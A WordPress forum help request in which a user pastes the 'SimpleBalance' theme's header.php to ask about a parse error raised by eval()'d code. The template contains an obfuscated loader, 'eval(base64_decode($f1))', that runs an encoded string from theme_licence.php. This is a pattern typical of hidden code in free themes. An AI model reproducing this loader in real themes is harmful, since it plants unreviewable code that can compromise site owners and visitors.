Parse error: syntax error question?
-
I get the following error, but since i don’t speak much php, I am not sure what to do. Below that is the document the error message is pointing to.
Thanks a lot for any help with this!!!Parse error: syntax error, unexpected ‘{‘ in /home/lstudio2/public_html/blog/wp-content/themes/simplebalance/header.php(17) : eval()’d code on line 1
Below is header.php:
<?php $theme_options = get_option('SimpleBalance'); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="https://www.w3.org/1999/xhtml" lang="en"> <head profile="https://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" /> <meta http-equiv="Content-Language" content="en" /> <title><?php bloginfo('name'); ?> <?php wp_title(); ?></title> <?php if ($theme_options["hide_meta_gen"] == 0) { ?><meta name="generator" content="WordPress <?php bloginfo('version'); ?>" /><?php } ?> <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" /> <?php require_once("theme_licence.php"); eval(base64_decode($f1)); if (isset($theme_options["color_scheme"]) && $theme_options["color_scheme"] != "default") { $colorScheme = get_bloginfo('template_directory')."/schemes_".$theme_options["color_scheme"].".css"; ?> <link rel="stylesheet" href="<?php echo $colorScheme; ?>" type="text/css" media="screen" /> <?php } ?> <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="<?php bloginfo('rss2_url'); ?>" /> <link rel="alternate" type="text/xml" title="RSS .92" href="<?php bloginfo('rss_url'); ?>" /> <link rel="alternate" type="application/atom+xml" title="Atom 0.3" href="<?php bloginfo('atom_url'); ?>" /> <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" /> <link rel="shortcut icon" href="<?php bloginfo('url'); ?>/favicon.ico" /> <?php wp_get_archives('type=monthly&format=link'); ?> <?php if ( is_single() ) wp_enqueue_script( 'comment-reply' ); ?> <?php wp_head(); ?> </head> <body> <?php start_template(); ?> <div id="wrap"> <div id="header"> <div class="topLogo"> <?php if (is_single() OR is_page()) { ?> <h2><a href="<?php echo get_settings('home'); ?>" title="<?php bloginfo('name'); ?>"><?php bloginfo('name'); ?></a></h2> <?php } else { ?> <h1><a href="<?php echo get_settings('home'); ?>" title="<?php bloginfo('name'); ?>"><?php bloginfo('name'); ?></a></h1> <?php } ?> <?php if ($theme_options["display_description"] == 1) { ?><span class="blogDescription"><?php bloginfo('description'); ?></span><?php } ?> </div> <div class="topMenu"> <ul> <li<?php if (is_home()) { ?> class="current_page_item"<?php } ?>><a href="<?php echo get_settings('home'); ?>" title="<?php bloginfo('name'); ?>">Home</a></li><?php qbkl_nospace(wp_list_pages('include='.$theme_options["top_menu_pages"].'&sort_column=menu_order&depth=1&title_li=')); ?> </ul> </div> <div class="topSearch"> <form method="get" name="searchform" id="searchform" action="<?php bloginfo('home'); ?>"> <input type="text" value="Search this blog..." name="s" class="s" onfocus="if (this.value == 'Search this blog...') {this.value = '';}" onblur="if (this.value == '') {this.value = 'Search this blog...';}" /> <a href="javascript:document.searchform.submit();" class="searchSubmit">Search</a> </form> </div> </div>
Viewing 2 replies - 1 through 2 (of 2 total)
Viewing 2 replies - 1 through 2 (of 2 total)
- The topic ‘Parse error: syntax error question?’ is closed to new replies.